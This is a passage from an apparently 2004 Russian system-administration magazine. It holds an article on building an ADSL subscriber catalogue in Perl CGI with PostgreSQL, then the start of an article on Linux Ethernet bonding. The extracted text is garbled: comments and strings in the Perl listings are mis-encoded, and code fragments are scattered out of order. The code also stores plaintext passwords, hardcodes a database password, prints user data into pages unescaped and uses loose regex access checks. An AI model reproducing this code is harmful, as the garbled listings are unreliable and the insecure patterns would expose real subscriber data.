Apache + Perl (вы можете использовать и другую связку), от клиентов требуется лишь поддержка какого-нибудь графического обозревателя. И наконец, времени на разработку и сопровождение ПО в данном случае затрачивается заметно меньше, чем при «традиционных» способах. Для наглядности рассмотрим в общих чертах процесс разработки незатейливого приложения: каталога пользователей ADSL, в который будут заноситься сведения об абонентах (фамилия, адрес, номер телефона), параметры конфигурации (IP-адреса, интерфейсы, номера PVC), параметры линии (длина, диаметр жилы, сопротивление шлейфа) и т. д. В целях экономии места будет рассмотрена только первая функция (работа со сведениями об абонентах). Очень многие детали придется опустить. Так, не будут рассмотрены особенности Perl-модулей, подключаемых к нашим сценариям, способы работы с базой данных и т. д. Читателю понадобятся, по крайней мере, базовые знания Perl, HTML, PostgreSQL (или какой-нибудь другой СУБД). Если материал статьи окажется вам интересен, я постараюсь разложить все по полочкам в следующих статьях, оставляйте


администрирование ваши отзывы на форуме журнала «Системный администратор».

Подготовительные мероприятия Итак, прежде всего нам нужно собрать сервер. Я остановил свой выбор (поскольку все это уже есть и работает) на следующем ПО (правда, кое-что из этого списка уже пора бы обновить): ! ОС: FreeBSD 5.2 ! Веб-сервер: Russian Apache 1.3.29 ! Язык программирования: Perl 5.6.1 ! СУБД: PostgreSQL 7.4.2 Рассматривать установку и конфигурирование всего этого я не буду – все довольно подробно описано и на страницах журнала, и на бескрайних просторах Интернета. Выбор именно этого ПО – вопрос, скорее, личных предпочтений, поскольку по каждому из пунктов можно привести массу как положительных, так и отрицательных доводов. В конце концов с тем же успехом (с поправкой на более высокие требования к ресурсам и вопросам безопасности) можно использовать и связку «Windows2003 – IIS – ASP – MSSQL».

Структура базы данных и доступ к СУБД Начнем разработку с определения структуры БД. Нужно заметить, что это итерационный процесс, то есть обычно при разработке сценариев выясняется, что база данных должна быть несколько иной, потом корректировки вновь вносятся в код сценариев, снова исправляется БД и так до тех пор, пока разработчик не осознает, что эффект от дальнейшего улучшения уже не окупает затрат на исправления. Но мы остановимся на первой итерации, тем более что наша задача – показать сам принцип. Итак, создадим БД с именем adsl, владельцем которой будет пользователь adsluser с паролем password. В ней нам потребуются следующие таблицы: ! sessions – информация сеансов пользователей (см. далее): ! id char(32) – идентификатор сессии; ! a_session text – информация сессии; ! login char(12) – имя пользователя; ! password varchar – пароль пользователя. ! users – информация об абонентах ADSL: ! uid serial – уникальный идентификатор абонента; ! name varchar – фамилия, имя, отчество; ! address varchar – адрес проживания; ! phone char(7) – номер телефона. ! dslam– информация о ADSL-портах: ! uid serial – уникальный идентификатор порта; ! userid numeric – идентификатор подключенного на порт абонента; ! num char(10) – номер порта (в виде nDSLAM/nBOARD/ nPORT); ! vlan numeric(4) – номер VLAN, соответствующей ADSL-порту; ! vpi numeric(3) – номер VPI; ! vci numeric(3) – номер VCI, присвоенный клиенту; ! interface char(15) – имя интерфейса, на котором будет вестись учет трафика;

№10(23), октябрь 2004

! ipaddress inet – IP-адрес, сопоставленный с данным портом.

! lines – характеристики линий связи: ! uid serial – уникальный идентификатор линии; ! portid numeric – идентификатор порта DSLAM, на который подключена эта линия;

! length numeric(5) – длина линии в метрах; ! diameter numeric(2,1) – диаметр жилы в миллиметрах; ! impedance numeric(4) – сопротивление шлейфа в Омах. И еще одна таблица для хранения служебной информации: ! st_modules – список функциональных модулей: ! name char(20) – имя модуля; ! description varchar – описание модуля; ! ink varchar – ссылка на сценарий модуля; ! allow char(12)[] – массив, хранящий имена пользователей, которым позволено работать с данным модулем; ! orderby numeric(2) – данное поле задает порядок вывода модулей на экран. В данном случае мы минимально задействуем расширенные возможности PostgreSQL, что позволит почти ничего не менять при использовании, например, MySQL.

Шаблон сайта – модульный подход Поскольку переписывать все сначала при необходимости расширить функциональность нашего приложения – занятие не очень интересное, применим модульный подход. Пусть основной сценарий отвечает только за предоставление доступа к имеющимся функциям, а каждая функция будет реализована отдельным скриптом. Кроме того, часто используемые операции будем выносить в наш модуль My::Insite. Выглядеть базовый сценарий будет примерно так: #!/usr/bin/perl –w #-------------------------------------------- adsl.cgi use My::Insite; # Ïîäêëþ÷àåìñÿ ê ÁÄ è ñîçäàåì îáúåêò CGI äëÿ ðàáîòû ñ HTTP $dbh = My::Insite->DBConnect('adsl', 'adsluser', 'password'); $cgi = My::Insite->CGIStart(); # Ñ÷èòûâàåì çíà÷åíèå HTTP-ïàðàìåòðà «action» ($action = $cgi->param('action')) or $action = ''; # Âûïîëíÿåì ïðîöåäóðó âûõîäà if($action eq 'logoff') { &doLogoff; } # Ïðîöåäóðà àâòîðèçàöèè if($action eq 'logon') { $savedLogin = $cgi->param('login'); $savedPassword = $cgi->param('password'); # èùåì ñåññèþ äëÿ çàÿâëåííîãî ëîãèíà ($sSessId, $sPassword) = $dbh->selectrow_array(' SELECT id, password FROM sessions WHERE login=? ', undef, $savedLogin); # åñëè íå íàøëè – ïîâòîðíûé çàïðîñ àâòîðèçàöèè if(!$sSessId) { &doLogon('Failed'); } # åñëè ñåññèÿ åñòü, íî ïàðîëü íå ñîîòâåòñòâóåò ââåäåííîìó, # ïîâòîðíûé çàïðîñ àâòîðèçàöèè if($sPassword ne $savedPassword) { &doLogon('Wrong'); } # Åñëè âñå íîðìàëüíî – ñîõðàíÿåì èäåíòèôèêàòîð ñåññèè â cookie $cookie = $cgi->cookie(-name => 'sessid', -value => $sSessId);

49


администрирование

}

print $cgi->header(-cookie => $cookie); print 'Àâòîðèçàöèÿ âûïîëíåíà óñïåøíî.'; print " <A href='adsl.cgi'>Ïðîäîëæèòü...</A>"; exit;

# action íå èìååò çíà÷åíèÿ, ïûòàåìñÿ èçâëå÷ü èç cookie # èäåíòèôèêàòîð ñåññèè $sessId = $cgi->cookie('sessid'); # Åñëè áåçóñïåøíî – óõîäèì íà àâòîðèçàöèþ if(!$sessId) { &doLogon('First'); } # Åñëè sessId åñòü, ïûòàåìñÿ ïîëó÷èòü ïîëüçîâàòåëÿ ýòîé ñåññèè ($sLogin) = $dbh->selectrow_array(' SELECT login FROM sessions WHERE id=?; ', undef, $sessId); # Åñëè óäà÷íî – îòêðûâàåì ñåññèþ, èíà÷å – íà àâòîðèçàöèþ if($sLogin) { $session = My::Insite->SessOpen($dbh, $sessId); } else { &doLogon('Fialed'); } # Âûáèðàåì èç ÁÄ è âûâîäèì íà ýêðàí ñïèñîê ìîäóëåé print $cgi->header; $sth = $dbh->prepare('SELECT * FROM st_modules ORDER BY orderby;'); $sth->execute; print "<P align='right'>Âû âîøëè ïîä èìåíåì $sLogin | "; print ' <A href="?action=logoff">Âûõîä</A></P>'; while($rhash = $sth->fetchrow_hashref) { # Ïå÷àòàòü áóäåì òîëüêî òå ìîäóëè, äëÿ êîòîðûõ â ïîëå allow # åñòü èìÿ âîøåäøåãî ïîëüçîâàòåëÿ if($$rhash{allow} =~ m($sLogin)) { print "<DT><A href='$$rhash{link}'> ↵ $$rhash{name}</A>"; print "<DD>$$rhash{description}<BR>"; } } # Âñå çàêðûâàåì (â ïðèíöèïå ýòî íå îáÿçàòåëüíî – âñå # è òàê çàêðîåòñÿ) My::Insite->SessClose($session); My::Insite->DBDisconnect($dbh); exit;

}

print '</HEADER>'; print 'Äî íîâûõ âñòðå÷!'; exit;

Задача данного сценария – выполнить авторизацию пользователя и предоставить ему список доступных для работы модулей. Управление поведением сценария осуществляется с помощью переменной «action», которая может иметь одно из следующих значений: logoff (закрыть сеанс), logon (выполнить процедуру авторизации, в ходе которой проверяется правильность пароля и открывается сессия, соответствующая данному пользователю, о чем делается запись в файлах cookie). Пустое значение данной переменной позволит вывести на экран перечень доступных модулей. Список модулей хранится в БД, в таблице st_modules, откуда он выбирается и выводится на экран, причем отображаются только те модули, для которых в поле allow содержится имя текущего пользователя. Больше ничего от главного сценария не требуется. Для подключения к приложению очередного модуля достаточно поместить в папку cgibin реализующий его сценарий и добавить запись в таблицу st_modules. То есть в этой таблице будет что-то похожее: adsl=> select link, name, allow from st_modules order by orderby; link | name | allow ---------------------+------------------------------------------+---------------------adsl-users.cgi | Абоненты ADSL | {"admin","operator"} adsl-dslam.cgi | Конфигурация DSLAM | {"admin"} adsl-admin.cgi | Модуль администратора | {"admin"} (записей: 3)

Результат работы сценария adsl.cgi представлен на рисунках 1 и 2.

#-------------------------------------------- ïîäïðîãðàììû sub doLogon { # ïîäïðîãðàììà àâòîðèçàöèè $status = shift @_; if($status eq 'Wrong') { $status = Íåïðàâèëüíûé ëîãèí èëè ïàðîëü.'; } elsif($status eq 'Failed') { $status = Îøèáêà ïîäêëþ÷åíèÿ äàííîãî ↵ ïîëüçîâàòåëÿ.'; } else { $status = Ââåäèòå ëîãèí è ïàðîëü:'; } print $cgi->header(); print <<__HTML__; <CENTER><H3>$status</H3><FORM method="POST"> <TABLE border="1"><TR><TD><TABLE> <INPUT type="hidden" name="action" value="logon"> <TR><TD>Login:<TD><INPUT type="text" name="login" value=""> <TR><TD>Password: <TD><INPUT type="password" name="password" value=""> <TR><TD colspan="2" align="center"> <INPUT type="submit" value="Âîéòè"> </TABLE></TABLE></FORM></CENTER> __HTML__ }

exit;

sub doLogoff { # ïîäïðîãðàììà çàêðûòèÿ ñåàíñà # Çàïèñûâàåì cookie ñ èñòåêøèì «ñðîêîì ãîäíîñòè» # (îòðèöàòåëüíîå çíà÷åíèå ïàðàìåòðà expire), ÷òî óíè÷òîæèò # cookie â ïàìÿòè $cookie = $cgi->cookie(-name => 'sessid', -value => '', -expires => '-1d'); print $cgi->header(-cookie => $cookie); print '<HEADER>'; print '<META http-equiv="refresh" ↵ content="1;url=adsl.cgi">';

50

Ðèñóíîê 1

Ðèñóíîê 2


администрирование Модуль My::Insite в моем случае будет размещаться по такому адресу: /usr/local/lib/perl5/site_perl/5.6.1/My/Insite.pm. Узнать пути, по которым Perl ищет подключаемые модули, позволяет специальная переменная @INC: #!/usr/bin/perl #-------------------- testpath.pl $, = "\n"; print @INC; exit;

На моей машине результат был получен следующий: $ ./testpath.pl /usr/local/lib/perl5/site_perl/5.6.1/mach /usr/local/lib/perl5/site_perl/5.6.1 /usr/local/lib/perl5/site_perl /usr/local/lib/perl5/5.6.1/BSDPAN /usr/local/lib/perl5/5.6.1/mach /usr/local/lib/perl5/5.6.1

Код модуля My::Insite представлен ниже:

Доступ на сайт и Apache::Session Если вы доверяете всем сотрудникам или собираетесь ограничивать доступ к сайту «низкоуровневыми» средствами вроде брандмауэра для ограниченного круга лиц с равными правами, то этот пункт можно пропустить. В общем же случае желательно организовать проверку «подлинности» пользователя и соответствующим образом ограничивать его права в нашей программе. В серьезных случаях можно дополнительно организовать SSL-шифрование, но сейчас обойдемся без этого, чтобы не отвлекаться от основной цели. Пароли для простоты хранить и передавать будем в явном виде, признак правильного входа в приложение, а заодно и некоторые персональные настройки будем хранить, используя механизм сессий. В Perl это выглядит несколько сложнее, чем в PHP, зато проще сделать именно то, что нужно. Для работы понадобится модуль Apache::Session. Если на вашей системе такого нет, для FreeBSD его, как и большинство других модулей, можно установить из коллекции портов:

package My::Insite; use CGI; use DBI; use Apache::Session::Postgres; sub CGIStart { return CGI->new; } sub DBConnect { my($obj, $dbName, $dbUser, $dbPwd) = @_; return DBI->connect('dbi:Pg:dbname='.$dbName, ↵ $dbUser, $dbPwd); } sub DBDisconnect { my($obj, $dbh) = @_; $dbh->disconnect; return(1); } sub SessOpen { my($obj, $dbh, $sessId) = @_; tie %session, 'Apache::Session::Postgres', $sessId, {Handle => $dbh, LockHandle => $dbh}; return(bless(\%session, $obj)); } sub SessClose { my($obj, $session) = @_; untie(%$session); return(1); } return(1);

Как видите, сюда вынесены функции подключения к БД, работы с сессиями и т. д. Может показаться, что в некоторых функциях нет смысла. Например, зачем создавать CGIStart, которая только и делает, что вызывает функцию new() модуля CGI? Не проще ли вызывать эту функцию самому и не захламлять модуль? А теперь представьте, что вы решили вместо модуля CGI перейти на более функциональный. Что проще – переписывать все имеющиеся сценарии или изменить одну функцию в My::Insite? Думаю, в этом модуле все понятно без комментариев. Если что непонятно – всегда под рукой man DBI, man CGI, man Apache::Session.

№10(23), октябрь 2004

# cd /usr/ports/www/p5-Apache-Session # make install

Более универсальный путь, пригодный практически для всех систем – использование архива CPAN. Этот метод описан на страницах руководства man perlmodinstall. Так как база данных у нас есть, целесообразно для хранения сессионной информации использовать именно ее. Поэтому будем использовать подмодуль Apache::Session:: Postgres. Поскольку число пользователей нашего приложения ограничено и все они известны, то имеет смысл для каждого из них заранее создать сессию, в которой будут храниться все пользовательские данные, и при авторизации подключать именно ее. Такой подход позволит не беспокоиться об удалении старых сессий и о хранении идентификатора сессии между сеансами. Вручную создавать новую сессию не очень удобно, поэтому будем использовать такой небольшой сценарий: #!/usr/bin/perl –w #------------------------------------------ adsl-adduser.pl use DBI; use Apache::Session::Postgres; $login = $ARGV[0]; $password = $ARGV[1];

# ïåðâûé àðãóìåíò – èìÿ # âòîðîé – ïàðîëü

# Çàïðàøèâàåì âñå, ÷òî íå ïåðåäàíî â àðãóìåíòàõ if(!$login) { print 'Enter login: '; chomp($login = <>); } if(!$password) { print 'Enter password: '; chomp($password = <>); } # Ñîçäàåì íîâóþ ñåññèþ è ñðàçó çàêðûâàåì $dbh = DBI->connect('dbi:Pg:dbname=adsl', 'adsluser', ↵ 'password'); tie %session, 'Apache::Session::Postgres', undef, {Handle => $dbh, LockHandle => $dbh}; untie %session; # Â çàïèñü â òàáëèöå sessions, ñîîòâåòñòâóþùåé íàøåìó # ñåàíñó, äîáàâëÿåì èìÿ ïîëüçîâàòåëÿ è ïàðîëü, ââåäåííûå âûøå $pre = $dbh->prepare('

51


администрирование update sessions set login = ?, password = ? where login is null; '); $pre->execute($login, $password); $dbh->disconnect; exit;

При желании этот модуль можно сделать CGI-скриптом и организовать доступ к нему через модуль администрирования, подключаемый к нашему приложению, как и все остальные. Ну и раз информация сессий будет необходима нам в каждом модуле, то процедуры работы с ней вынесены в наш модуль My::Insite. Как все это будет работать – смотрите в листингах, приведенных в статье.

else { print 'Íå ìîãó âûïîëíèòü: '.$action; } My::Insite->SessClose($session); My::Insite->DBDisconnect($dbh); exit; #------------------------------------- subroutines sub showUsers { # ïîäïðîãðàììà âûâîäà ñïèñêà àáîíåíòîâ $sth = $dbh->prepare('SELECT uid, name, address, phone FROM users ORDER BY name;'); $sth->execute; print '<TABLE><TR><TD><H3>Àáîíåíòû</H3>'; print '<TD align="right"><A href="adsl.cgi">Ãëàâíàÿ</A>'; print '<TR><TD colspan="2">'; print '<TABLE><TR><TD align="right">'; print '[ <A href="?action=user&type=add"> Äîáàâèòü íîâîãî àáîíåíòà</A> ]'; print '<TR><TD><TABLE border=1><TR bgcolor=#AAAAFF> <TH>Àáîíåíò <TH>Àäðåñ <TH>Òåëåôîí <TH>Äåéñòâèå;

Взаимодействие с БД Для работы с базой данных будем использовать Perl-модуль DBI с драйвером DBD::Pg. Данный модуль и нужный драйвер можно установить как из портов, так и из CPAN. Функции открытия и закрытия соединения вынесены в модуль My::Insite, остальное смотрите в коде конкретных модулей.

Модуль обработки информации об абоненте Вот мы и добрались до первого «рабочего» модуля. В его рамках нам нужно решить следующие задачи: вывод на экран списка абонентов, ввод нового абонента, удаление абонента, изменение данных. Код модуля следующий: #!/usr/bin/perl –w #------------------------------------ adsl-users.cgi use My::Insite; $dbh = My::Insite->DBConnect('adsl', 'adsluser', 'password'); $cgi = My::Insite->CGIStart(); $action = $cgi->param('action'); # Ïûòàåìñÿ ñ÷èòàòü èç cookie èäåíòèôèêàòîð ñåññèè, # åñëè áåçóñïåøíî – îòïðàâëÿåì íà àâòîðèçàöèþ $sessId = $cgi->cookie('sessid'); if(!$sessId) { &toLogon; } # Îòêðûâàåì ñåññèþ, èëè íà àâòîðèçàöèþ â ñëó÷àå îøèáêè ($sLogin) = $dbh->selectrow_array(' SELECT login FROM sessions WHERE id=?; ', undef, $sessId); if($sLogin) { $session = My::Insite->SessOpen($dbh, $sessId); } else { &toLogon; } # Ïðîâåðÿåì, ìîæíî ëè äàííîìó ïîëüçîâàòåëþ ðàáîòàòü ñ ýòèì # ìîäóëåì ($allow) = $dbh->selectrow_array(' SELECT allow FROM st_modules WHERE link=?;', undef, 'adsl-users.cgi'); if($allow !~ m($sLogin)) { &toLogon; } print $cgi->header; # Ðàçáèðàåì âîçìîæíûå äåéñòâèÿ if ($action eq '' ) { &showUsers; } elsif($action eq 'user' ) { &userForm; } elsif($action eq 'changeuser') { &changeUser; }

52

}

while(@res = $sth->fetchrow_array) { $oper = ($res[6] eq 'I'?'inlager':'outlager'); print "<TR><TD>$res[1]<TD>$res[2]<TD>$res[3]<TD> [ <A href='?action=user&type=update&uid=$res[0] ↵ '>Èçìåíèòü</A> ] :: [ <A href='?action=user&type=delete&uid=$res[0] ↵ '>Óäàëèòü</A> ]"; } print '</TABLE><TR><TD align="right">'; print '[ <A href="?action=user&type=add">Äîáàâèòü ↵ íîâîãî àáîíåíòà</A> ]'; print '</TABLE></TABLE>'; return;

sub userForm { # âûâîäèò ôîðìó äëÿ ìàíèïóëÿöèé ñ äàííûìè $uid = $cgi->param('uid'); $type = $cgi->param('type'); if($type eq 'add') { $submitName = 'Äîáàâèòü'; } elsif($type eq 'delete') { $submitName = 'Óäàëèòü'; } elsif($type eq 'update') { $submitName = 'Èçìåíèòü'; } else { print 'Îøèáêà îïåðàöèè: '.$type; exit; } $header = $submitName.' àáîíåíòà:'; if($type ne 'add') { ($name, $address, $phone) = $dbh->selectrow_array(' SELECT name, address, phone FROM users WHERE uid = ?; ', undef, $uid); } else { $name = $address = $phone = ''; } if($type eq 'delete') { $in1 = "<B>$name</B>"; $in2 = "<B>$address</B>"; $in3 = "<B>$phone</B>"; } else { $in1 = "<INPUT type='text' name='name' ↵ value='$name' size='35'>"; $in2 = "<INPUT type='text' name='address' ↵ value='$address' size='35'>"; $in3 = "<INPUT type='text' name='phone' ↵ value='$phone' size='7'>"; } print <<__HTML__; <CENTER><H3>$header</H3> <FORM method="GET"> <TABLE border="1"><TR><TD><TABLE> <INPUT type="hidden" name="action" value="changeuser"> <INPUT type="hidden" name="type" value="$type"> <INPUT type="hidden" name="uid" value="$uid"> <TR><TD>Àáîíåíò: <TD>$in1 <TR><TD>Àäðåñ: <TD>$in2 <TR><TD>Òåëåôîí: <TD>$in3 <TR><TD colspan="2"><HR> <TR><TD>[ <A href="adsl-users.cgi?action=">Îòìåíà</A> ] <TD align="right"><INPUT type="submit" ↵ value="$submitName"> </TABLE></TABLE></FORM></CENTER>


администрирование __HTML__ exit; } sub changeUser { # çàïèñü èçìåíåíèé â ÁÄ $type = $cgi->param('type'); $uid = $cgi->param('uid'); $name = $cgi->param('name'); $address = $cgi->param('address'); $phone = $cgi->param('phone'); if($type eq 'add') { $res = $dbh->do(' INSERT INTO users(name, address, phone) VALUES(?, ?, ?);', undef, $name, $address, $phone); } elsif($type eq 'delete') { $res = $dbh->do('DELETE FROM users WHERE uid=?;', ↵ undef, $uid); } elsif($type eq 'update') { $res = $dbh->do(' UPDATE users SET name=?, address=?, phone=? WHERE uid=?; ', undef, $name, $address, $phone, $uid); } else { print 'Îøèáêà îïåðàöèè: '.$type; }

}

if($res) { print 'Îïåðàöèÿ âûïîëíåíà óñïåøíî. '}; print '<BR><A href="?action=">Ïðîäîëæèòü...</A>'; exit;

sub toLogon { print $cgi->header; print '<META http-equiv="refresh" ↵ content="1;url=adsl.cgi?account=logon">'; print 'Îøèáêà âõîäà. Ïåðåíàïðàâëåíèå...'; exit; }

В данном случае для управления поведением сценария используется еще одна переменная – type. Если action определяет, на какую подпрограмму следует передавать управление, то type содержит информацию о том, что именно следует делать в данной подпрограмме. Сгенерированный приложением список абонентов имеет вид, представленный на рисунке 3. Рисунок 4 демонстрирует форму для изменения данных.

Ðèñóíîê 3

Прочие модули Поскольку другие модули ничего нового и интересного в себе не содержат, отличаясь от приведенного лишь именами и количеством полей, а также некоторыми интерфейсными особенностями, то и тратить время на их рассмотрение не будем. Добавив соответствующую запись в таблицу st_modules, вы сделаете новый модуль доступным для работы.

Что можно изменить? Как известно, нет предела совершенству. Рассмотренный здесь пример был очень сильно урезан и упрощен, чтобы за деталями не потерялась суть и чтобы уложиться в рамки журнальной статьи. Однако, разрабатывая реальное приложение, имеет смысл сделать некоторые улучшения. Например, «шаблонность» нашего приложения оставляет желать лучшего. Каждый добавляемый модуль в принципе имеет очень схожую структуру и функциональность. То есть можно разработать один модуль-шаблон и настраивать его под конкретные таблицы и поля автоматически в процессе обращения к конкретной функции. Можно сделать более гибкой систему разграничения доступа, помимо пользователей введя понятие групп пользователей, а также разграничивая права пользователей в пределах одного модуля (полный доступ, только чтение). Механизм сессий используется очень слабо. Например, его можно использовать для передачи таких параметров как идентификатор пользователя (uid), вместо того чтобы делать это с помощью скрытых полей формы. Не совсем удобной выглядит необходимость в каждом модуле задавать логин и пароль для подключения к БД. Выносить это в модуль My::Insite неправильно (иначе будут сложности с использованием данного модуля в других приложениях для подключения к другим базам), а вот сделать что-то типа конфигурационного файла и брать нужные данные оттуда было бы намного лучше, поскольку в случае смены имени или пароля корректировка потребуется только в одном месте. В существенном улучшении нуждается проверка корректности вводимых данных, контроль ошибок, и т. д. В реальной жизни этим, конечно же, пренебрегать нельзя. И вообще, можно сделать более удобный и красивый дизайн, добавить страничкам «динамизм» с помощью JavaScript (например, всплывающие подсказки, предупреждения и т. п.) и много еще чего хорошего и полезного.

Заключение

Ðèñóíîê 4

№10(23), октябрь 2004

Ну что ж. Надеюсь, полученный результат хотя бы частично соответствует нашим ожиданиям, несмотря на множество недоработок, оставленных «за бортом». Мы получили гибкое, легко модифицируемое приложение, соответствующее большинству наших требований. В будущем его без труда можно расширить, добавив, например, модуль для работы с жалобами абонентов, для сбора статистики по потребленному трафику и оплатам и т. д. Единственное, чего мне в данный момент не хватает, это красивых отчетов, которые не стыдно было бы распечатать, сохранить в файл, отправить по электронной почте. Эта задача тоже решается довольно просто. Но об этом – в следующей статье.

53


сети

НА ПУТИ ПОВЫШЕНИЯ НАДЁЖНОСТИ И СКОРОСТИ: LINUX BONDING – Bond?....James Bond? – No, Linux Bonding.

В данной статье описывается частный случай объединения двух каналов Ethernet в один c помощью Linux bonding (на базе Red Hat v.7.3) как с целью повышения пропускной способности, так и надёжности сетевого соединения.

ПАВЕЛ ЗАКЛЯКОВ Года два назад, просматривая одну электронную доску объявлений в разделе б/у сетевого оборудования, я наткнулся на заметку о продаже 16-портового коммутатора «Switch Surecom EP-716X c поддержкой виртуальной сети и транка на базе портов» плюс прочие документированные возможности. Цена была низкой, а желание повозиться с настройками велико. Поэтому я поспешил приобрести его.

Ðèñóíîê 1. Ôîòîãðàôèÿ êîììóòàòîðà Surecom EP-716X

Ситуация на рынке год от года не меняется, скорости передачи данных неизменно растут, выходят новые версии и т. д. Несмотря на рост скоростей в сетях с выделенным сервером, узким местом все равно остаётся точка соединения сервера с локальной сетью. Если взять наиболее часто используемый вариант, то используется сеть Fast Ethernet и сетевые адаптеры с пропускной способностью 100 Мбит/с. В результате если к серверу обращается одновременно 20 компьютеров, то пропускная способность падает до 5 Мбит/c, а за вычетом служебной информации реальная пропускная способность оказывается ещё меньше. Выход из данной ситуации может быть только один – увеличивать пропускную способность со стороны сервера. Если на сервере в качестве делимого взять не 100, а 1000 Мбит/c, то в теории средняя скорость передачи на один компьютер должна увеличиться в 10 раз. Характеристики повсеместно продаваемого сетевого оборудования указывают на тот факт, что развитие идёт именно в этом направлении. Однако на данном пути есть несколько препятствий, не позволяющих делать переход массовым и незаметным.

54

Первый недостаток – необходимость покупки дорогих коммутаторов с поддержкой нескольких или одного порта по стандарту IEEE 802.3ab (1000Base-T). При этом старый коммутатор оказывается не у дел. Второй недостаток – необходимость замены кабельной инфраструктуры. Кабели повсеместно используемых на сегодня категорий 5 и 5e не подойдут по полосе пропускания, соответственно их придётся также менять. Третий недостаток – сочетание сетевых карт стандарта IEEE 802.3ab (1000Base-T) и шины PCI. С некоторой натяжкой можно считать, что цена данных устройств относительно невелика. А вот пропускная способность шины PCI 2.0 может оказаться для нас недостаточной: 33 МГц ∗ 32 бита = 1056 Мбит/c [1]. Хотя, 1056 > 1000 следует понимать, что различные накладные расходы, особенно для карт стоимостью менее $25, приведут к тому, что реальная пропускная способность окажется ниже 1000 Мбит/c. При большой загрузке сети это приведёт к тому, что буфер не будет успевать обрабатываться, возникнут потери пакетов. Как следствие – повторная передача и ещё большее снижение пропускной способности. Также не следует упускать из виду, что многие серверы часто имеют не одну сетевую карту, а несколько. Если согласно спецификации PCI 2.1 (и выше) вместо тактовой частоты шины в 33 МГц использовать 66 МГц, то подобных эффектов удастся избежать, однако в этом случае возможны проблемы c другим оборудованием, не поддерживающим частоту шины 66 МГц. Использование PCI-X или 64-разрядной шины PCI (даже при тактовой частоте 32 МГц) решает проблему технически, но часто делает её финансово непосильной. Материнские платы с поддержкой 64-разрядной шины PCI уже относятся к серверному классу и стоят соответствующе. «Склепать дешёвый сервер на коленке» не получится. Единственный недорогой выход для данной ситуации – это использование нескольких обычных сетевых карт. Затраты при этом минимальны: $5 + один вечер и результат усилий (удвоение пропускной способности) налицо. По этому пути я и пошёл. Первое, что мне бросилось в глаза в описании, – это была фраза: «Support Port-Base Trunking», интуитивно поняв, что это то, что мне нужно, я залез на веб-страницу настройки и выставил одну транкинговую группу из 1-го и 9-го портов.


сети После компиляции ядра я зашёл в директорию, где находится исходный файл ifenslave.с: # cd /usr/src/linux/Documentation/networking

и скомпилировал из него утилиту ifenslave (которая «подключает» к общему интерфейсу bond0(bond1, ...) другие подчинённые интерфейсы) командой: # gcc -Wall -Wstrict-prototypes -O ↵ -I/usr/src/linux/include ifenslave.c -o ifenslave

Получившийся файл я скопировал в директорию /sbin: # cp ifenslave /sbin/ifenslave Ðèñóíîê 2. Ïîðòû 1 è 9 íàõîäÿòñÿ â ðåæèìå port trunking

(По непонятным для меня причинам, настройку транкинга портов с помощью протокола telnet разработчики почему-то не сделали.) Далее я установил вторую карточку на компьютер, подключаемый к коммутатору в качестве сервера, соединил всё хозяйство патчкордами, и в результате у меня получилась следующая схема соединений.

Для организации работы с модулем и передачи ему параметров необходимо добавить следующие строчки в файл /etc/modules.conf: alias bond0 bonding options bond0 miimon=100 mode=0 downdelay=2000 updelay=5000

Параметры, естественно, можно задать другие, но об этом чуть позже. Чтобы было удобно воспользоваться стандартной командой: /etc/rc.d/init.d/network (start|stop|restart...)

а не вводить каждый раз параметры вручную через ifconfig, следует создать следующие файлы (либо внести в них изменения, если файлы уже имеются): /etc/sysconfig/network-scripts/ifcfg-bond0 Ðèñóíîê 3. Ñõåìà ñîåäèíåíèé

Понимая, что само по себе железо работать не будет, я занялся поисками литературы и настройкой программного обеспечения. Основным документом, который частично помог мне разобраться с проблемой, оказался Linux Ethernet Bonding Driver mini-howto из комплектации ядра(v.2.4.27), находящийся по следующему пути: /usr/src/linux/Documentation/ networking/bonding.txt. В сети этот документ можно найти по адресу [2]. Желая иметь монолитное ядро, я отказался от рекомендаций компилировать Linux bonding в виде модуля. Всё бы хорошо, но объединение каналов почему-то не работало как надо. При отключении кабелей от сетевых интерфейсов ядро Linux продолжало думать, что всё в порядке. Убедившись в правильности совета, я скомпилировал ядро повторно, выбрав «Bonding driver support» в качестве модуля в разделе «Network device support».

DEVICE=bond0 IPADDR=192.168.0.1 NETMASK=255.255.255.0 NETWORK=192.168.0.0 BROADCAST=192.168.0.255 ONBOOT=yes BOOTPROTO=none USERCTL=no /etc/sysconfig/network-scripts/ifcfg-eth0 DEVICE=eth0 USERCTL=no ONBOOT=yes MASTER=bond0 SLAVE=yes BOOTPROTO=none /etc/sysconfig/network-scripts/ifcfg-eth1 DEVICE=eth1 USERCTL=no ONBOOT=yes MASTER=bond0 SLAVE=yes BOOTPROTO=none

На случай, если ваша система будет себя вести иначе, чем Red Hat v.7.3 и ему подобные, например, откажется понимать параметр SLAVE и не «привяжет» интерфейсы eth0 и eth1 в качестве подчинённых к bond0, это можно сделать руками с помощью следующих команд:

Ðèñóíîê 4. Âûáîð «Bonding driver support» â êà÷åñòâå ìîäóëÿ

№10(23), октябрь 2004

# /sbin/ifconfig bond0 192.168.0.1 ↵ netmask 255.255.255.0 broadcast 192.18.0.255 up # /sbin/ifenslave bond0 eth0

55


сети # /sbin/ifenslave bond0 eth1

В случае возникновения проблем с настройкой нестандартных конфигураций рекомендую обратиться к первоисточнику [2].

Теория. О режимах работы Смысл организации объединённых каналов обычно очень прост: либо нужно повышение пропускной способности, либо увеличение надёжности, либо и то, и другое вместе. Несмотря на то, что идеология построения объединённых каналов относительно прозрачна, существует несколько различных режимов совместной работы. ! Round robin, rr, 0. Круговой, основанный на последовательном использовании подчинённых интерфейсов для передачи через них пакетов в том порядке, как они были подключены. В этом режиме интерфейсы наиболее равномерно загружены. ! XOR, 2. Режим, в котором подчинённый интерфейс для передачи конкретного пакета выбирается по формуле «(src hw addr XOR dst hw addr) % slave», где «src hw addr» и «dst hw addr» есть MAC-адреса отправителя и получателя, приведённые к целочисленному виду, а slave – число работающих подчинённых интерфейсов. Определение интерфейса для отправки пакетов напрямую зависит от адреса получателя. При такой схеме выбора происходит примерно равномерное распределение оппонентов информационного обмена по интерфейсам с их «виртуальной» взаимной привязкой друг к другу. ! Active-backup, 1. Режим горячей замены. В каждый момент времени работает только один интерфейс. Если рабочий канал выходит из строя, то начинает использоваться какой-либо один резервный интерфейс (из соподчинённых главному) взамен «отказавшего». Данный режим используется в основном в системах повышенной надёжности.

